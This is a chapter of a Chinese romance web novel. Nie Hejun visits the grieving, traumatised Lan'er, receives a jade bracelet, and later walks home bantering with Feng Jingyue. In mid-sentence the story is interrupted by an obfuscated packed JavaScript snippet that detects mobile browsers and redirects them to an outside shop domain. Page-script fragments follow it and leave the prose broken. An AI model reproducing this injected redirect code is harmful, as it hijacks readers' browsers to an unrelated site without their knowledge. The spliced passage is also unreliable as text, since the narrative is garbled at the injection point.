“拿走,全拿走!”岚儿完全没有注意到逢惊越和聂鹤筠二人进来,抱着头癫狂似的吼道。
仆人立刻跪在地上颤抖地说:“夫人,您小心身体为要,还请进屋去吧!”
仆人们从未见过岚儿发这么大的火,他们只不过是在整理新送来的花盆,就不知道怎么惹到了最近精神一直不太好的夫人。
岚儿平时总是温柔大方的样子,可自从越县回来之后就像变了个人一样,动如惊弓之鸟,如若没有北怀在一旁,便会觉得格外的冷。
聂鹤筠缓过来立刻围上前去,她轻轻抱住浑身发抖的岚姐姐,柔声说道:“岚姐姐,我们回屋去吧。”
岚儿一抬眼,原本浑浑噩噩的眸子猛地亮了起来,像忽然抓到了救命稻草一般扣住聂鹤筠一只手,痴痴艾艾地说:“融风,融风……是你吗融风?”
聂鹤筠有一瞬间被吓到,她没想到平时端庄娴雅的岚姐姐此时如失魂落魄的丧家犬一样,难不成在越县与舒步廷见面的时候受了什么刺激?
她半天不知道该怎么回答,幸而有北怀出来解围。
原来是刚才岚儿发火时,有角落里的下人赶忙上去喊了北怀来。
北怀拿一件大氅裹住浑身颤抖的岚儿,语气比平时还要温润,如春风般轻声说道:“岚儿,我们不是说好了,等鹤筠来了让她和你好好讲一讲山上的事吗,你是不是又偷喝酒了,小心今晚上失眠哦!”
北怀边说边半抱半扶着岚儿进入炭火十足的暖堂,柔情深种的眼眸里全是心疼。其实他根本没闻到任何酒味,只是不想他心爱的人受此折磨,便给她找借口推到外力上罢了。
而刚才聂鹤筠刚被放开手,就被一只温热的大手托住后背,一转眼便落入逢惊越胸膛之中,她听见一道熟悉的声音在耳边响起。
“我前几日来时岚姐还很好,我该早点告诉你的。”话语中似乎还带着一丝愧疚。
“无妨,”聂鹤筠轻咳一声说道,“不过我们还是稍等片刻再进去吧。”
他们二人便先去了隔壁的画室,聂鹤筠有些心不在焉的,她的手藏在袖袍中,不停地摩挲左手手心的痣,眼神游移,心神不定。
她来之前以为事情解释清楚就好了,她可以坦坦荡荡地给岚儿看自己身上的两处痣,解释说是巧合罢了。
可现在这个情形,她却有些犹豫了。
“冷吗?”逢惊越见她揣着手,作势就要脱掉身上的大氅。
聂鹤筠转过头来立刻摇头:“我不冷,你不用脱。”
逢惊越刚解开系带只好又穿好,他扭头走到门口招呼路过的满叔:“满叔,给聂姑娘倒杯热茶。”
满叔连连应下。
“我只是偶尔听说过岚姐身体不好,冬天常犯旧疾怕冷,没想到今日会是这般。”逢惊越说道。
“我……有点担心。”聂鹤筠轻咬下唇,低眉说道。
逢惊越刚想说些什么,满叔刚好端了两杯热茶进来,逢惊越并没有喝,反倒是聂鹤筠蹙着眉抿了一口,热乎乎的,暖心。
隔壁屋内北怀还在安抚受惊的岚儿,耐心十足,岚儿慢慢安静了下来,像一只受伤的鸟一样缩在大氅和北怀的怀中。
有一位丫鬟从外面进来,是贴身伺候岚儿的小姜,她端来一杯安神茶,递给北怀。
北怀递给小姜一个眼神,让她请聂鹤筠和逢惊越进来。
岚儿原本不聚神的双眼慢慢回过神来,她的身子依旧很虚弱,半靠在北怀身上,一移眼便看见了走进来的聂鹤筠和逢惊越二人。
“今天吓到你们了吧,我好久没这样了。”岚儿声音还很虚弱。
她那年被北怀救下之后,因为之前各种事情的刺激,家人互相残杀、大火、误以为弟弟葬身火海、妹妹失踪、自己匆忙逃身等等……她便一直陷在深深的恐惧之中,稍有些刺激便性情大变。
刚才她见下人们在搬花瓶,就想上去瞧瞧,却突然看见一朵硕大的山茶花在瓶身绽放。
那一瞬间岚儿脑海里满满都是幼时初冬的岳鹰山,家里为了庆祝母亲的生辰而准备了很多山茶花,院子内外全是,一朵一朵似骄阳般鲜艳的山茶花。
那原本也是舒渺最喜欢的花。
可火也是那样的颜色,血也是。
肆虐的火舌和淋漓的鲜血吞噬了舒渺的一切。
自此她再也不肯直视山茶花。
岚儿徐徐讲出这一切,语气风轻云淡就像说的是别人的故事一样,可在座的人看来,她的心都快要碎了。
聂鹤筠喉头有些哽咽,她未曾经历过这些,从小到大最大的烦恼便是心爱的姑姑离家出走和被逼着嫁给逢惊越。
她想的许多安慰之言都被咽在喉咙里,只能深深地望着岚儿。
聂鹤筠忽然越过桌子握住岚儿的一只手:“姐姐,以后我就是你的亲妹妹。”她本来不是煽情的人,但说着说着就忍不住滚落几滴热泪。
岚儿倾着身子,替她拭去眼角的泪。
“好,好,好。”岚儿这次想见聂鹤筠不过是想挣扎一下罢了,她在泛城多年,又怎会没见过聂家人?他们都是一个模子里刻出来的。
融风她……也许跟岚儿一样,改名换姓重新活在世上了吧。
她二人抱在一起痛哭,岚儿的泪里带着极大的隐忍,她已经很久很久没这么痛快地哭过了。
岚儿刚与北怀相识时尚且年轻,距离及笄才过去两年多。她夜夜梦魇,白日里又孤独又自闭,性情难以捉摸,吼叫吵闹是常有的事。
因为她不愿见任何人,北怀便在这条偏僻的巷子里与她安家,种了她还不算讨厌的杜鹃花和凌霄花,日夜陪在她身旁,好不容易才让岚儿重拾活下去的心。
快十年过去了,岚儿已经放下了岳鹰山,但唯独放心不下舒步廷和舒融风。她跟舒步廷一样,因为活不见人死不见尸,便一直不愿相信彼此已殁。
那日在越县,舒步廷交给岚儿一只玉镯,他说这原本是要送给“融风”的,现在也不知人是真是假,送给姐姐也算是了却他心头一道执念。
岚儿此时拿出玉镯亲自戴在聂鹤筠左手手腕上,她亲眼看见了聂鹤筠手心的痣,但只是一瞬便移过眼去。
“中午留在家里吃饭吧。”北怀和岚儿对视一眼,笑着说道。
聂鹤筠重重地点头。
她们姐妹俩手牵着手坐在一起说话,聂鹤筠把自己看到了寨子里的事都告诉了岚儿,后者只是笑,并不作答。
聂鹤筠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14341587|150940||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在心里遗憾懊悔,她在岳鹰寨的时间其实很短,都忘记问舒家以前的宅子是哪处了,如若她能去看一眼,今日也不负岚姐姐眸里的期望。
北怀说等明天初春一切安稳,他便和岚儿一起回到岳鹰山祭拜父母。
午饭过后,北怀和岚儿站在院门要送送聂鹤筠和逢惊越两人,刚说完告别的话却突然被人打断:“北先生,岚夫人,给您添麻烦了,今日的那批花瓶有一箱是别家的货,伙计们看岔了,这箱才是您定的,真的对不住!”
两个伙计抬着一只箱子放在怀岚苑门口,不停地点头道歉。
聂鹤筠与逢惊越对视一眼,默契地离去。
“我先会寻鸿斋了,毕竟是第一天做工,我……先回去看看。”聂鹤筠走到巷口慢吞吞地说。
“我送你去,顺路。”逢惊越做出请的姿势。
聂鹤筠心想这也不顺路呀,逢家在城西,但寻鸿斋在……噢,原来他是要回时雅斋。
聂鹤筠反而十分不习惯逢惊越如此关心时雅斋生意的状态。
她忽然想起那日逢惊越在她家答应她说要考试的事,便问他:“你不准备考试么?”
逢惊越含笑说道:“你不是说我是书呆子吗,怎么会落下功课?”
“嘿——你!别到时候考不上回来找我哭!”聂鹤筠哼的一声开玩笑道。
逢惊越笑出声来,眉眼弯弯,聂鹤筠第一次听到他这般放肆的笑声,浑身起鸡皮疙瘩。
“那你爹是什么态度?他是不是以为你见了山贼吓破了胆决定考公啦?”聂鹤筠调侃地说,颇为毒舌。
逢惊越收起笑,认真地说:“他最近跟聂伯父的关系似乎有破冰的苗头,我就跟他说是你的主意,你猜他怎么说?”
聂鹤筠也发现这件事了,那天爹娘写了封信让下人送到逢府去,恰好被聂鹤筠看见。
毕竟逢家的确为了聂鹤筠的事来回奔波不少,逢惊越又亲赴敌营找她,父亲是个明事理的人,自然不会为了面子不报恩。
只是不知道后面会如何。
“他肯定不信,毕竟你向来在这件事上一点也不松口,估计会觉得你是拿我充面子。”聂鹤筠勾唇笑道。
逢惊越“噗”的一声笑出来,让与他并肩而行的聂鹤筠瞪大了眼睛,她还从未见过逢惊越这个样子,平时他能微笑已经是他脸上最大的表情了。
聂鹤筠在他眼前摆摆手,不可置信地问:“你今天不会也受了什么刺激吧?别吓我呀!”
逢惊越敛起表情,故作严肃道:“我爹娘打算设宴请伯父伯母,你到时候可以来吗?”
一双明亮的眸子满怀期待地凝视着身旁古灵精怪的少女,只是还有一点点克制。
聂鹤筠脱口而出一声好,说完便捂住唇好似说了错话。
“还……是别了吧,”聂鹤筠心虚地笑了笑,低着头看着眼前的石子路轻声说道,“我那日说了很多不好的话,再见总会难免尴尬。”
虽然还不知道逢简卓会不会办这个宴,聂鹤筠依旧迅速给自己找了个借口。
“无妨,那时的确是我的错。”逢惊越一句话就把当时他们和离的事揽在自己身上。
聂鹤筠错愕地转过头望着他,眼神复杂。